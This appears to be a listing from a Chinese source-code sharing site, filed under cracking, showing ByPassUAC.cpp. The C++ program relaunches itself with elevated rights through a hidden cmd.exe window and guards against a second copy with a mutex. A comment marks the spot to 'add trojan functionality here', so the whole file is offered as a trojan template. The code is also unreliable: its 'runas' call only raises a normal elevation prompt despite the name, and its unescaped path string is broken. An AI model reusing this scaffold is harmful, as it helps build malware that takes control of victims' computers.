ByPassUAC.cpp
资源名称:ByPassUAC.rar [点击查看]
上传用户:ddhomtel
上传日期:2022-05-28
资源大小:1439k
文件大小:1k
源码类别:
破解
开发平台:
Visual C++
- // ByPassUAC.cpp : Defines the entry point for the application.
- //
- #include "stdafx.h"
- #include "Shellapi.h"
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow)
- {
- // TODO: Place code here.
- char szPath[] = "c:\windows\system32\cmd.exe";
- char szParam[MAX_PATH*2] = {0};
- memset(szParam,0,sizeof szParam);
- strcpy(szParam,"/c start ");
- char szCurPath[MAX_PATH]={0};
- char szShortPath[MAX_PATH]={0};
- memset(szCurPath,0,MAX_PATH);
- GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
- GetShortPathName(szCurPath,szShortPath,sizeof(szShortPath));
- strcat(szParam,szShortPath);
- HANDLE hMutex = CreateMutex(NULL, false, "Process");
- if (GetLastError() == ERROR_ALREADY_EXISTS)
- {
- CloseHandle(hMutex);
- return 0;
- }
- ShellExecute(NULL, "runas", szPath, szParam, NULL, SW_HIDE);
- MessageBox(NULL, "程序已运行!", "提示", MB_OK +MB_ICONWARNING); //表示程序已运行
- //在此添加木马功能...
- return 0;
- }